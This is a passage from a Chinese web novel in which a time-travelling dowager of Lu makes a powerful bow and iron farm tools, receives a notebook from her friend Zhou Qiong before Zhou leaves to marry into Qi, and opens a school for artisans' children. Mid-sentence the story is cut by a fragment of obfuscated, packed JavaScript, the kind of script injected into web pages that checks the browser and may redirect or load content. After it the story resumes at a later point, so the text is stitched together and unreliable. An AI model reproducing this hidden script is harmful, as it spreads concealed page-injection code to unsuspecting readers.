江雅大喜过望,立刻让任明依古法尝试。几经周折,他们终于从巨大的鱼鳔中熬制出了粘稠透明的鱼鳔胶。有了这关键的材料,任明带领工匠们反复试验,终于成功制作出了第一把形制巨大的清弓。 “夫人!成了!弓成了!” 在一个阳光明媚的下午,任明捧着一个长长的、用锦缎包裹的物件,激动万分地冲进了江雅的寝宫,连礼仪都忘了。 身后,还跟着同样一脸兴奋的几位核心大匠。 江雅的心一下子提了起来:“快!快拿来我看!” 锦缎揭开,一张造型古朴却充满力量感的长弓呈现在眼前。弓身呈现出柘木特有的紫褐色光泽,线条流畅优雅,中间嵌着的深色硬木弓弰打磨得光滑无比。配套的三支箭,箭杆笔直,尾羽修剪整齐,箭镞则是新打制的、闪着冷冽寒光的三棱铁镞。 “快!快去请国君过来!”江雅的声音因激动而有些颤抖。 鲁同很快赶到,当他看到那张明显不同于军中制式、充满了力量感的弓时,眼睛瞬间亮了。 “娘亲,这是…” “给你的礼物,试试看!”江雅笑着示意。 一行人来到宫苑一处开阔地,设好箭靶。 这时,江雅罕见地跟鲁同开起了玩笑:“同儿,这把弓可非同寻常,不可等闲视之,”说着递上一枚早准备好的玉扳指,戏谑地说道:“带上这个再试,还有,拉弓的时候,不要勉强,可别伤了自己哟!” 鲁同少年心性,受此一激,自不肯认输。他戴上扳指,摆好架势,用力一拉,只拉开不到一半的位置,脸却已是涨得通红,不知是用力过度,还是羞愧难当 。 江雅露出一副果然如此的表情。 要知道,弓制出来后,任明已发现其中蹊跷,以他常年锻炼的臂膀,经过多次试验,也才拉开三分之二,知道是为太子打造的后,还特地交代江雅,一定要注意别伤了太子。 看到母亲的表情后,鲁同更加受不了,他仔细回想了父亲以前教导的要点,凝神静气,戴好扳指进行第二次尝试,只听弓弦发出一阵令人牙酸的“嘎吱”声响,虽只开至半满,已是他的极限。他勉强瞄准远处箭靶,松弦放箭! “嗖——!”箭矢破空之声尖锐刺耳,去势惊人,远远超出了寻常弓箭的射程,狠狠钉入靶心边缘! 鲁同难以置信地看着手中的弓,又望向远处的箭靶,短暂的惊愕后,脸上瞬间绽放出如同寻常少年般的狂喜笑容。他抱着弓,兴奋地跑到江雅面前:“娘亲!这弓,我只拉开了一半,射程却已比如今的弓箭远了近一倍,实在是太厉害了!多谢娘亲!” 江雅认真地看着鲁同,这是她第一次看到儿子露出发自内心的笑容,彷佛是不再是背负着国仇家恨的年轻国君,只是一个为得到新的游戏机而开心不已的大男孩。 江雅紧紧握住身旁周琼的手,由衷地说道:“阿琼,谢谢你!没有你的鱼鳔胶,就没有同儿今天的开心!” 周琼看着眼前母子和睦的温馨一幕,展颜一笑,她也很喜欢这种自己能帮上忙的感觉。然而,当当她想起日渐临近的婚期,眼底的笑意便像蒙上了一层薄纱,悄然黯淡了下去。 江雅看着眼前这对并肩而立、笑容灿烂的年轻人,恍惚间彷佛看到两个正在解方程的高中生,心中蓦地涌起一个荒唐又真切的念头:若是阿琼能嫁给同儿,该有多好!但这念头只是一闪,便被齐侯那阴鸷的面容击得粉碎。 清风拂过,带来一丝凉意,仿佛预示着未来的波澜。 21. 第二十一章 琼贻秘录 有一位伟大的革命先驱曾经说过,陈旧的东西总是力图在新生的形式中得到恢复和巩固。国外如此,国内亦如此。 朝堂之上,空气仿佛凝固了,连平日里缭绕的檀香都显得滞重。虽然已经入秋,殿外仍时不时传来几声蝉鸣,更添了几分聒噪。 “君上!”申需出列,他身形干瘦,脸上带着一种忧国忧民的夸张表情,“臣闻宫中近日广召匠人,伐木取矿,炉火日夜不息,所耗木炭、矿石甚巨,花钱粮如流水暂且不说,眼看秋收临近,却只为打造些不明所以的‘铁器’、‘曲犁’?听闻竟欲驱使牛套此怪犁!此举大为不妥,实乃有违正道啊!” 他挥舞着玉圭,痛心疾首,声音又拔高了几分:“牛者,宗庙祭祀之太牢也!诸侯之祭,牛曰太牢,此乃通天敬祖之重器!如今先君新丧,国孝未除,天象又显干旱之兆,正该是节用爱民,上下同心,虔心祷祝,以祈甘霖之时!岂能反其道而行,劳民伤财,行此等‘奇技淫巧’之事,更欲夺祭祀之牲于田垄之间?” 他环视众人,掷地有声地抛出最重的指控:“国之大事,在祀与戎! 今夫人所为,耗财于无用之器,夺牲于神圣之祀,若因此惹得天怒人怨,祖宗不佑,以致旱情加剧,国运维艰,我等…我等如何对得起列祖列宗,如何对得起先君在天之灵,又如何对得起鲁国万千百姓?!” 他话音落下,几名依附于姬挥的大夫立刻出声附和,一时间,“劳民伤财”、“不务正业”、“恐招天谴”的帽子一顶顶飞来。 受儿子邀请前来参加朝会的江雅,面上看不出半分波澜。申需那番将“天怒人怨”、“祖宗不佑”的滔天罪名扣下来的说辞,于她个人而言,不过是不痛不痒的聒噪。但她的目光扫过御座上面色紧绷、指节微微泛白的鲁同时,心底却是一沉。 她深知,这些罪名真正的指向,是她身后这位少年国君的威望与权柄。她可以不在乎自己的名声,却不能不为儿子的君位考量。 在一片附和的嘈杂声中,她心念电转。愤怒是最无用的,立刻跳起来反驳,正落入对方“妇人干政、恃宠而骄”的话柄。她只是端起玉杯,借着氤氲的热气掩去眸中一闪而过的冷光,目光转向鲁同,带着一种近乎审视的冷静。她在等,等她的儿子,这位年轻的国君,会如何应对他君临之路上的又一次风浪。此刻的沉默,是她能为儿子争取的,最好的历练,也是最坚实的支撑。 鲁同听到‘国之大事,在祀与戎’时,心中亦是一凛。此言如山,他何尝不知?但他更记得娘亲私下对他所言:‘民以食为天,让百姓吃饱,才是对社稷最大的孝敬,对先君最好的告慰。若神器果真利国,祖宗亦会含笑。 鲁同放在膝上的手微微收紧,他又想起前些日子娘亲送给自己的的那把清弓。那强劲的力道,那远超旧弓的射程和精准,绝非“奇技淫巧”四字可以概括。那是一种力量,一种能让鲁国不再轻易受人欺凌的潜在力量。 他深吸一口气,压下心中的些许紧张,声音尽量保持平稳:“申大夫所言,乃是忧心国事。但是,是否劳民伤财,是否于国有利,并非你我口舌可断。” 他站起身,少年身形仍显单薄,“娘亲,”他转向江雅,语气恭敬,“诸位大夫既心存疑虑,不如我们一同前往匠作区亲眼一观?也让诸位知晓,国库之资,耗费于何处,成效如何。” 江雅看着他,眼中闪过一丝不易察觉的赞许,微微颔首:“国君所言甚是。耳听为虚,眼见为实。” 姬挥耷拉的眼皮微微抬起,浑浊的眼底掠过一丝意外,他没想到鲁同会如此果断。他沉吟片刻,躬身道:“君上既欲亲察,老臣等自当随行。”他倒要看看,那女人搞出的东西,究竟有何能耐。 一行人浩浩荡荡来到宫城东北角的匠作区。还未走近,一股热浪便扑面而来,夹杂着烟火气、金属撞击声和工匠们的号子声,与宫廷的肃穆宁静截然不同。 任明正光着膀子,和几名工匠围着一座改进后的小高炉忙碌,古铜色的皮肤上汗水淋漓,在通红的炉火映照下闪着光。见到君上、夫人及众多重臣前来,他连忙抓起一旁的葛布擦了把汗,上前行礼。 “不必多礼,”江雅摆手,示意他继续,转而让人取来了几把已经打造好的铁锄头和一把初步成型的曲辕犁木架模型,“诸位,请看此物。” 几把黝黑的铁锄头被送到诸位大夫面前。那冰冷的质感,那闪着寒光的刃口,与众人平日所见的木耒、石锄截然不同。 申需狐疑地拿起一把,入手沉甸甸的,他撇撇嘴,随手在旁边松软的空地上刨了一下。 “噗——” 一声轻响,锄刃几乎没入土中过半,翻起一大块湿润的泥土。 申需愣住了,下意识地又刨了几下,依旧是轻松无比,效率远超他记忆中“吭哧吭哧”半天才能挖开一点土的耒耜。 其他几位原本抱着挑刺心态的大夫,也纷纷接过尝试,脸上最初的轻蔑和不屑,渐渐被惊异取代。有人甚至低声交谈起来:“此物……竟如此省力?” “若用以垦荒,一日之功,恐抵往日数日!” 姬挥没有亲自尝试,他只是冷眼旁观,但那双老辣的眼睛紧紧盯着那翻飞的泥土,瞳孔微微收缩。 在这时,一直沉默地跟在姬挥身后的鲁庆,忽然上前一步。他轻笑一声,前几日的暴戾已然消失不见,随手接过一把锄头,忍不住赞叹道:“妙啊!真是妙物!夫人大才,竟能造出如此利于农耕之神器!此乃强国之基,富民之本啊!” 他话锋一转,目光变得“忧虑”而“郑重”:“但是,正因此物关系重大,堪称国之重器,其制作之法,更需严加看管,绝不能泄露分毫!如今列国纷争,若让‘齐’、楚等强国得知,加以仿造,岂不是资敌强国,反害我鲁国?” 他看向鲁同和江雅,言辞恳切:“君上,夫人!庆以为,此等关乎国本之要务,绝不能再由匠人私掌,当立即交由宗伯府统一管辖,遴选可靠匠人,于隐秘之处专司打造,所有成品、图样,皆需登记造册,由宗伯府派专人看护!以防…不必要的泄露。”他说到最后,目光似是不经意地扫过江雅身旁的周琼。 周琼握闻言一抖,咬住下唇,头垂得更低。 这几日,除非是鲁国正式的朝会需要避嫌,她几乎是寸步不离地跟着江雅,仿佛要将这所剩无几的相聚时光,一分一秒地镌刻进生命里。她低垂着眼睫,掩去了眸底深处那抹日益浓郁的、对未知命运的惶恐与忧伤。 感受到了周琼的不安,江雅反手握住周琼冰冷的手,正待开口反驳。 姬挥却缓缓开口,声音低沉:“鲁庆所言,虽有些急切,却非无的放矢。夫人,此物之利,今日我等亲眼所见。然,技术外泄,非同小可。为鲁国长远计,集中管辖,严密封锁,确是老成谋国之策。毕竟…”他顿了顿,意有所指,“非我族类,其心必异。有些牵扯,还是早些厘清为好。” 江雅心中怒火“腾”地升起,这帮人,要么就没道理的反对,如今见到好处又想来摘桃子,真是,无耻之极!还想趁机离间自己与周琼! 江雅可以忍受他们对自己的攻讦,但绝不能容忍他们如此羞辱、逼迫这个即将为政治联姻而牺牲的女孩。 她轻轻按住身边周琼微微发抖的手,缓缓向前,凤眼含霜,直视姬挥与鲁庆:“我的东西,自然由我的人来保管。我说不会泄密,就绝不会泄密!就算是泄密,我自会负责,不劳各位夫子操心!” 她声音清晰,斩钉截铁,带着一种不容置疑的强悍:“至于王姬,”她侧身,将周琼半护在身后,眼神扫过众人,“她是我请来的客人,是天子赐婚齐国的王姬,更是我江雅视为知己之人!她的品行,我信得过!若有人再以莫须有之事暗指王姬,便是与我江雅为敌,与鲁国为敌!” 她这话说得极重,带着一股豁出去的狠劲。姬挥脸色一沉,鲁庆也收敛了脸上的假笑。一时间,场上气氛瞬间降至冰点。 周琼猛地抬头,看着江雅挺直的背影,眼眶瞬间红了,心中那股冰封的恐惧与委屈,仿佛被这道身影挡住的热流融化了些许。 夫人信我!在这种时候,夫人甚至不惜与国内大夫为敌也要护着我!这是在父王、王兄身上,也从未体验到的信任与安全! 就在僵持之际,百里奚温润的声音适时响起:“君上,夫人,诸位大夫,请听百里奚一言。” 他走到那曲辕犁模型旁,轻轻抚过那弯曲的辕木,语气平和而客观:“夫人所造农具之利,今日已见分晓,毋庸置疑。姬夫子与公子庆担忧技术外泄,亦是老成持重之言。但是,奚以为,眼下之关键,或许并非急于由何人掌管。” 他看向众人,侃侃而谈:“技术之秘,在于不断创新,今日之密,或许明日便为人所知。固步自封,反受其害。真正限制此等利器推广的,并非泄密之危,而是现实之困。” “诸位请看,”他指向那高炉和堆积的矿石、木炭,“冶铁之术虽初有成效,然矿石开采、运输、木炭烧制、合格匠人之培养,乃至这曲辕犁所需之特定木料处理,皆需时间,需人力,需物力。“ “诸位请看这炉中铁水,”他指向沸腾的熔炉,“需三担木炭方得一斤精铁,如今曲阜周边可用林木已去其三。若强行推广,不出一载,将无木可烧。” “如今倾尽全力,日产之铁亦有限,尚不足以满足国都之民生所用,又谈何迅速推广至全国,惠及万千黎庶?” 他语气转为凝重,抛出了更现实的问题:“此乃循序渐进之道,急不得,亦乱不得。相比之下,另一事更为迫在眉睫——各地传来急报,今岁旱情,恐远超预估。边境城邑,已现田土龟裂、秧苗枯死之象,流民渐生。若不及早预备赈灾,恐生大乱。届时,纵有千般利器,无粮无民,又如何强国?” 百里奚一番话,条分缕析,既肯定了技术的价值,又点明了推广的瓶颈,巧妙地将争论从“谁掌管”转移到了“如何做”以及“更重要的事是什么”上,将即将爆发的灾情摆在面前,让技术归属之争显得不合时宜。 鲁同闻言,立刻抓住机会,沉声道:“百里先生所言极是!农具之事,容后再议。臧夫子,展大夫,烦请二位即刻会同诸位大夫,详细拟定赈灾条陈,探查各地仓廪,务必稳住民心,防止流徙!” “臣等遵命!”臧达和展禽立刻领命。 姬挥见大势已去,知道今日难以得逞,只得冷哼一声,拂袖不再言语。鲁庆也悻悻地退回到他身后,只是盯着那曲辕犁模型的眼神,依旧充满了贪婪。 众人四散而去。 回到寝宫,挥退左右,江雅才卸下朝堂上那副坚硬的铠甲,一丝疲惫浮上眉梢。今日之争,虽借百里先生之口暂且平息,但她深知,姬挥一党绝不会善罢甘休。 殿内烛火已熄,只留一盏小小的角灯在远处散发着昏黄柔和的光晕。江雅刚有些睡意,便听见熟悉的窸窣声。帐幔被轻轻掀开一角,周琼的身影出现在朦胧的光影里,怀里小心翼翼地捧着一本厚厚的、以纸装订的册子。 “夫人,”她声音轻软,带着一丝完成重大使命后的释然与郑重,“这个…给你。” 江雅撑起身,借着微光接过那本册子。入手是沉甸甸的分量,纸张边缘已被摩挲得略显温润。她翻开几页,里面工整娟秀的字迹、清晰绘制的图样、分门别类的记录,无不倾注着执笔者的心血与智慧。 “这是…”江雅抬头,惊讶地看向周琼。 周琼跪坐在榻边,眼眸在昏暗中亮晶晶的,带着纯粹的敬佩:“夫人,你昏迷醒来后所说的那些学问,还有这些时日与任明师傅探讨的冶铁、农具、乃至造弓之法,琼都试着记录、梳理了下来。只是…”她微微赧然,“你脑海中的知识,当真浩如烟海,深不可测。琼所能记下、所能理解的,恐怕不及其中万之一,粗陋浅薄,只怕贻笑大方。” 江雅连忙摆手,打断她的自谦,手指珍惜地拂过纸页:“快别这么说!阿琼,你这份心意,这份辛苦,比我那些零散的想法珍贵多了!这哪里是粗陋,这简直是,是无价之宝!”她越看越激动,忍不住拉住周琼的手,“有了它,很多想法就能更系统地推进了!阿琼,你立了大功了!” 她沉吟片刻,眼中闪过一抹光,提议道:“这本册子,是你心血所凝,也是我们这段艰难时光的见证。不如,就叫它《琼贻秘录》如何?‘琼’是你的名,‘贻’是赠予,既是纪念你的赠予,也寓意着这其中的知识如美玉般珍贵。” “《琼贻秘录》…”周琼低声重复着这个名字,眼中瞬间涌上了水光,那是被深深理解和珍视的感动。她用力点头,声音哽咽:“好,好…谢谢夫人!能得夫人如此认可,能将此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有什么不可思议的,也许就像做了一个很长很真的梦”,江雅忽然望向远处,仿佛想起来什么美好的回忆,“梦里我活在一个完全不同的地方,那里有会飞的铁鸟——叫飞机啦,还有可以千里传音,可随时互相见面的小盒子——就是手机,还有比宫殿还高的楼房…然后梦醒了,我不知怎么的,就跑到,呃,附身到现在的身体里了!惊不惊喜?意不意外?” 周琼听得目瞪口呆,小嘴微张,完全无法理解,但又觉得这似乎能解释夫人为何懂得那么多匪夷所思的东西。 “所以啊,”江雅趁热打铁,继续用她那特有的、眉飞色舞的方式讲述,“在我‘梦’里的那个世界,还有我知道的历史里,女人可不止是棋子!有像武则天那样,从才人一路斗到女皇帝,你没听错,女——皇——帝!她改国号,名字叫武则天!满朝文武,那些平日里鼻孔朝天的男人,都得跪在她面前山呼万岁!她把国家治理得井井有条,厉害吧?” 江雅双手叉腰,彷佛自己就是武则天在世。 “还有更绝的呢!在另一个比我们这儿辽阔无数倍的国度,有个叫罗刹国的地方,也出了一位女皇,叫叶卡捷琳娜!她本来是个小公国的公主,嫁过去当君上妃的。结果你猜怎么着?她丈夫不成器,她直接就发动政变,把老公给废了,自己当了女皇!在位几十年,开疆拓土,文治武功,让那个国家成了当时最强大的帝国之一!她的情夫多得能组成一个军团……咳咳,这个不重要,”江雅意识到说漏嘴,赶紧咳嗽两声带过,“重要的是,她证明了,女人不仅能当家,还能掌管天下!” 她看着周琼震惊到几乎呆滞的表情,凑近了些,压低声音,神秘兮兮地说:“再告诉你个秘密,在我来的那个……嗯,就是我知道的某些地方,女子不仅可以读书识字,还可以像男人一样做官,处理国家大事!可以经商,赚得盆满钵满,富可敌国!可以研究学问,成为一代大家!她们的命运,虽然也有不易,但很大程度上,掌握在自己手里!想嫁人就嫁人,不想嫁人就自己过,潇洒得很!” 这些惊世骇俗的故事和描述,如同在周琼面前打开了一扇通往新世界的大门。她听得心驰神往,眼中闪烁着前所未有的光芒,仿佛看到了命运枷锁之外的另一片广阔天地。“女子,竟可如此活着?”她喃喃自语,一颗种子悄然在心田种下。 提到命运,她眼中光芒微黯,一丝忧愁浮现:“只可惜,我身不由己,此去齐国,前途未卜,心中实在惶恐。” 江雅看着她瞬间苍白的小脸,心中揪痛。她知道自己改变不了联姻,但必须给这个女孩力量和底气。她用力握住周琼的手,语气带着一种江湖式的豪气:“阿琼,听着!我可能没法让你不去,但你要记住,我江雅,永远是你的后盾!那姜诸儿要是敢动你一根汗毛,你捎个信来!你看我不带着咱们新造出来的强弓劲弩,还有以后更厉害的玩意儿,打上门去把他那临淄城搅个天翻地覆!一定让他知道,欺负我江雅护着的人,是要倒大霉的!” 她这番半真半假、充满匪气的“承诺”,驱散了周琼心头的部分阴霾。周琼被她逗得破涕为笑,虽然知道这话有些夸张,但那份毫无保留的维护之意,让她冰冷的心房注入了滚滚暖流。 “夫人…”她唤了一声,千言万语化作依赖,主动依偎进江雅怀里。 “好了,别想了,天塌不下来。”江雅轻轻拍着她的背,“今晚安心睡,有我呢。” 周琼依偎着这令人安心的温暖,连日来的恐惧、委屈似乎都找到了栖息之地。她轻轻“嗯”了一声,闭上了眼睛。 在沉入梦乡前,她仿佛真的看到了夫人描述的那个世界——她梦见自己穿着利落的衣装,站在明亮的学堂里讲述学问,台下坐着的有男有女,皆专注聆听;又梦见自己骑着那会飞的铁鸟,俯瞰着万里山河,自由自在……那是一个没有被迫联姻、没有身不由己的美梦。 没过多久,江雅便听到身边传来均匀而绵长的呼吸声。她低头,借着微光,看到周琼蜷缩着身子,紧挨着自己,嘴角带着一丝浅浅的、安心的弧度,沉沉睡去,或许正徜徉在她那短暂而美好的梦境里。 江雅小心翼翼地将那本《琼贻秘录》放在枕边,如同守护着一份珍贵的承诺与希望。她也躺了下来,心中充满了复杂的情绪,但最终,都被一种坚定的决心所取代。她轻轻揽住周琼,在这漫长而艰难的夜里,两个女子的命运紧紧相依,一同沉入了短暂的、宁静的梦乡。 22. 第二十二章 惊变 高奚再临鲁宫时,秋风已带上了肃杀的寒意。 鲁同端坐主位,虽年少,但数月来的历练已让他眉宇间多了几分沉稳。姬挥、臧达等重臣分列两旁。 高奚站定,微微拱手,算是行过礼,下颌微抬,目光扫过殿内诸人,带着一种居高临下的审视,朗声道:“外臣高奚,奉我君上之命,特来鲁国,迎娶王姬。” 不待鲁国方面回话,高奚话锋一转,语气虽依旧平稳,内容却让殿内气氛为之一凝:“此外,我君上尚有一事,命外臣务必亲禀鲁夫人,还请鲁侯成全。” 本来还算沉稳的鲁同闻言内心火起,自己跟齐侯的杀父之仇还未清算,现在又老是来惦记自己的母亲,正待开口拒绝,姬挥却开口说道:“如今王姬出嫁,事关齐鲁两国盟好,” 他微微前倾身体,对着鲁同,语重心长地补充道:“君上,老臣以为,不如让使者前去拜见夫人,听一听齐侯有何指教。夫人睿智,自有分寸。若所言合乎礼法,于我鲁国有利,自是好事;若有不妥,夫人亦知如何应对。如此,既全了齐侯的‘心意’,也显我鲁国处事大方,不授人以柄。一切,还请君上定夺。” 这老狐狸! 鲁同少年国君,玩嘴皮子还是比不上这些政坛宿老,再加上臧达也并未开口反对,鲁同强忍火气,挥手表示同意。 江雅寝殿内,药香未散。 江雅半靠在软榻上,肩伤让她行动仍有些不便,脸色也比平日苍白几分,平静地看着随小度走进来的高奚。 与在正殿时的倨傲不同,高奚此刻深深一揖,语气恭敬:“外臣高奚,拜见夫人。多日不见,夫人凤体可曾安好?君上在临淄,一直挂念夫人的伤势。” “有劳齐侯挂心,已无大碍。”江雅声音平和,听不出情绪,“使者此来,除了迎亲,还有何事?” 高奚直起身,满脸诚恳:“回夫人,正是为了王姬出嫁之事。君上听闻,夫人与王姬在鲁国相伴多时,情深义重,堪称闺中知己。君上体恤此情,感念夫人与王姬即将分离,特意嘱咐外臣…”他顿了顿,观察着江雅的神色,缓缓道:“若夫人能亲自护送王姬至齐,一则,可全夫人与王姬相伴之情,路上多享几日相聚之乐,稍解离别之苦;二则,夫人以鲁国女主之尊,亲自送嫁,更显鲁国对此次天子赐婚、对王姬殿下、以及对我国的无比重视与诚意。此乃两全其美之事,于公于私,皆为佳话。还望夫人体察我君上这番苦心,玉全此事。” 这番话,公私兼顾,还扣了个“重视盟约”的大帽子,江雅心中冷笑,姜诸儿这个变态为了逼自己前去,真是煞费苦心,连这等看似体贴的借口都想出来了,人还怪“好”的咧。 虽然舍不得周琼远嫁,但在大是大非面前还是要拎得清。她面上不动声色,抬眼看向高奚,目光清冽如泉。 “齐侯的‘好意’与‘体恤’,我心领了。”她缓缓开口,声音不大,“王姬与我,确实投缘,情同姐妹,此番离别,我心中亦是不舍。然而,正因如此,我更需谨守本分。我身为鲁国夫人,先君新丧,嗣君年幼,国事繁杂,我又岂能因私废公,远离国都,千里送嫁?此举,于礼不合,于情不通。” “但是,”她盯着高奚的眼睛,声音压低,“王姬周琼,不仅是我鲁国贵客,更是我江雅视若手足的挚友。她身份尊贵,代表的是周王室的无上颜面。齐侯既以如此隆重之礼迎娶,还望善待于她。若她在齐国,有半分委屈,或让我听到任何关于她处境不佳的消息……” 江雅停顿了一下,眸中闪过一丝近乎凶狠的决绝,“我江雅在此,对皇天后土立誓!纵使穷尽我毕生之功,也必向那令她受屈之人,百倍、千倍地讨还!我说到做到,从不虚言。请使者,务必将我此言,说与齐侯知晓!” 高奚瞳孔微缩,但却并未被江雅的狠厉吓到,他深吸了一几口气,重新审视了一下江雅。 “夫人护友之心,刚烈如斯,外臣领教了,夫人的‘叮嘱’,外臣一定带到,”他抬起眼,目光似不经意地扫过窗外的庭院,语气变得幽深莫测,“外臣来时,一路所见,鲁国境内,民生似乎颇为艰难?唉,今岁天时不佳,旱地千里,各地均有粮荒,仓廪若是不足,只怕,呵呵…”他干笑两声,话锋如毒蛇般缠绕而上,“不过夫人请放宽心,无论私事还是国事,只要夫人玉趾亲临,齐国上下必定鼎力相助。君上也一直期待与夫人把酒言欢,细叙‘旧情’。” 这阴恻恻的话语,让江雅的心猛地一沉,袖中的手悄然握紧,指甲几乎嵌进掌心,“多谢使者提醒,我鲁国之事,还是不劳贵使担心了。”她面上依旧平静,只是话语更冷了几分。 高奚话已带到,便潇洒离去。 深秋的边境,那座由江雅亲自选址、督造,原本用以迎接王姬、象征两国友好的馆驿,此刻成了送别的舞台。 馆驿正堂前,仪仗肃立。齐国迎亲的队伍甲胄鲜明,旌旗招展,与鲁国送亲的官员、侍卫形成了无声的对峙。编钟、鼓乐之声在空旷的山野间回荡,显得格外庄重而寂寥。 周琼已装扮停当。她身着玄色的厚重礼服,宽大的袖摆层叠,腰间佩玉沉重。珠翠翚凤冠压在她乌黑的发髻上,垂下的长长旒珠遮蔽了她的容颜,只露出线条紧绷的下颌和淡无血色的唇。 江雅站在送亲队伍的最前方,一身素净而庄重的深衣,与周遭的艳丽色彩格格不入。她看着周琼,看着她像个被华服珠宝包裹的精致祭品,一步步走向那辆装饰着雄羽、象征着命运转折的马车。 就在周琼即将登车的那一刻,她忽然停下脚步,猛地转身!旒珠激烈地晃动碰撞,发出清脆而凌乱的声响。她不管不顾,目光穿越众人,死死锁住江雅。 没有言语,那眼神却诉尽了一切——有诀别的痛楚,有对未知的恐惧,有深深的不舍。她看着江雅,也看着江雅身后这座充满回忆的馆驿,仿佛要将这一切都刻入灵魂深处。 江雅心头巨震,几乎要控制不住上前。作为鲁国夫人,她只能死死攥着袖口,将指甲掐入掌心,用尽全身力气维持着表面的平静,对着周琼,极其轻微,却无比坚定地点了一下头。 周琼读懂了江雅眼神里的不舍、关怀与信任。她那眼神中的疯狂与绝望缓缓褪去,化作一片深沉的、令人心碎的平静。她最后深深看了江雅一眼,然后决然转身,俯身钻入了那华丽的车厢,再也没有回头。 车门闭合的沉闷声响,像最终落下的铡刀。 鼓乐再次高亢响起,齐国的队伍开始移动。马车缓缓启动,长长的队伍如同一条苏醒的巨蟒,沿着通往齐国的官道,蜿蜒而去,逐渐融入远处苍茫的山色与扬起的尘土之中。 江雅站在原地,一动不动,任由秋风吹拂着她的衣袂发丝,直到那队伍的最后一抹影子也消失在视线尽头。 热闹与笙歌如同潮水般退去,留下的是一片令人心慌的冷清。 回到宫中,一连数日,江雅都恹恹的,提不起精神。没了周琼在侧,那些曾让她兴致勃勃的图纸、模型,似乎都蒙上了一层灰,连找任明来讨论新点子的心思也淡了。她常常独自坐在殿中,对着窗外发呆,只觉得偌大的宫室,空荡得让人心头发慌。 鲁同下朝后,时常会过来探望。少年国君眉宇间带着关切,言语笨拙却真诚:“娘亲,您要保重身体。王姬虽已出嫁,但儿臣会常来陪伴娘亲的。”他看着母亲消沉的模样,想说些宽慰的话,却终究只能干巴巴地挤出几句。他无法理解,母亲与王姬之间那种超越身份、基于知识与思想共鸣的深刻情谊,那种一个眼神便能心领神会的默契。 百里奚也曾委婉劝道:“夫人,王姬远嫁,乃是践行周礼,巩固邦交。夫人与其伤怀,不若将心力专注于国事,鲁国上下,皆需夫人指引。”他理智、清醒,句句在理,点出的都是现实的利害与责任。可这份过于冷静的劝解,恰恰让江雅更加怀念周琼——那个女孩,不会只谈干巴巴的“周礼”和“邦交”,她能懂得她心底那份超越时代的孤独与理想。 这些关怀,非但没能驱散她心头的寒意,反而让她更加清晰地意识到,那个唯一能真正理解她、能与她在精神世界里并肩同行的人,已经远去了。 她独自坐在骤然安静下来的寝殿里,夕阳残存的光辉透过窗棂,在地上投下狭长而扭曲的光斑,非但没能带来丝毫暖意,反而更衬得殿内阴影重重,寒意森森。 她觉得心口像是被人生生剜去了一块,空落落的,冰冷的寒风嗖嗖地往里灌,带来一种难以言喻的、持续不断的钝痛。 她伸手从枕边拿出了那本厚实而温暖的《琼贻秘录》。指尖传来纸张细腻的触感和册子沉甸甸的分量。 她轻轻翻开,周琼那工整娟秀、一丝不苟的字迹立刻映入眼帘,那些清晰绘制的图表、详尽缜密的备注、分门别类的知识要点…每一笔每一划,无不倾注着那个聪慧少女无数个日夜的心血、超越时代的智慧洞察,以及那份沉甸甸的、毫无保留的信任与托付。仿佛还能感受到那份郑重交付时手心的温度,耳边似乎又响起了那句穿越时空、重若千钧的箴言——“才高者任重”。 “不能消沉…”她对着空寂的宫殿,喃喃自语,“阿琼希望我做的,是把这些知识传下去,改变这个世界,让更多的人受益…”一个念头在绝望的荒原上破土而出——办学!立刻开始!招收学生,将这些学问,哪怕是其中最粗浅、最基础的一部分,传播开来!她要让周琼的心血,在她被迫离开的这片土地上,抢在严冬彻底降临之前,扎下根,发出芽! 然而,理想是璀璨却易碎的琉璃,现实却是坚硬而冰冷的顽石。当她将办学的想法通告出去后,响应者寥寥无几,随之而来的更是无数的非议、嘲讽与无形的阻力。 曲阜的贵族们对此嗤之以鼻,认为真正的学问是《诗》《书》《礼》《乐》,是先王之道,什么“冶铁”、“算数”、“拼音”,不过是奇技淫巧,末技小道。况且与那些身上带着烟火气、指甲缝里藏着泥垢的工匠、庶民之子同席学习,简直是玷污了学问的清白,亵渎了千年的礼制,有辱他们世代高贵的门楣与身份。 最终,只有寥寥数个在任明手下做事、胆大而略显开明的工人,怀着一丝微茫的希望和对夫人近乎盲目的信任与崇敬,将自己那些眼神怯懦如受惊幼兽的孩子,小心翼翼地送了过来。 学堂,只能设在匠作区旁边一间勉强腾出来的、四面透风、屋顶漏光的旧库房里。 江雅亲自动手,不顾肩伤隐痛,带着小度和几个自愿帮忙的宫人,奋力清扫积年的灰尘与蛛网,用找来的简陋木板刷上黑漆充当黑板,寻来石灰块权作粉笔。 没有讲什么高深莫测的大道理,只是从最简单的“一、二、三”数字,和“日”、“月”、“山”、“水”等象形文字讲起。 她努力回想自己小学老师那张亲切的脸,用生动活泼的教学方法:将“日”画成一个圆圈中间点一点,说是太阳公公的脸;将“月”画成弯弯的钩子,说是晚上睡觉时挂在天上的银钩… 孩子们起初惶恐不安,眼神躲闪,但在她充满耐心与感染力的讲解和鼓励下,那些原本怯懦的眼睛里,渐渐被点燃了好奇与求知的星火,虽然微弱,却真实地闪烁着。看着那一点点在蒙昧中闪烁起来的星光,江雅心中那因挚友离别而冻结的厚重冰层,似乎终于被这微弱却顽强的暖意,融化了一角,透进了一丝微弱的光亮。 然而,美好的时光总是短暂的,象牙塔也并不是世外桃源。 这短暂而脆弱的温暖,并没能持续几天。申需和姬挥便如同嗅到腐肉气味的鬣狗,联袂而至,脸色阴沉得能拧出水来,不顾宫人阻拦,径直闯到了这间简陋破败的“学堂”门口。 “夫人!此举大为不妥!堪称祸乱之源,动摇国本!”申需甚至来不及行全礼,脸上带着痛心疾首之色,“自古学在官府,礼不下庶人!此乃祖宗定下的法度,维系天下秩序、区分尊卑贵贱的纲常!您让这些操持贱业、不识礼数的匠人之子习文字,听道理,此乃乱礼制、坏纲常、混淆尊卑之举!长此以往,贵贱不分,上下失序,工匠之子若都识文断字,谁还安心于稼穑百工?国将不国啊!夫人!” 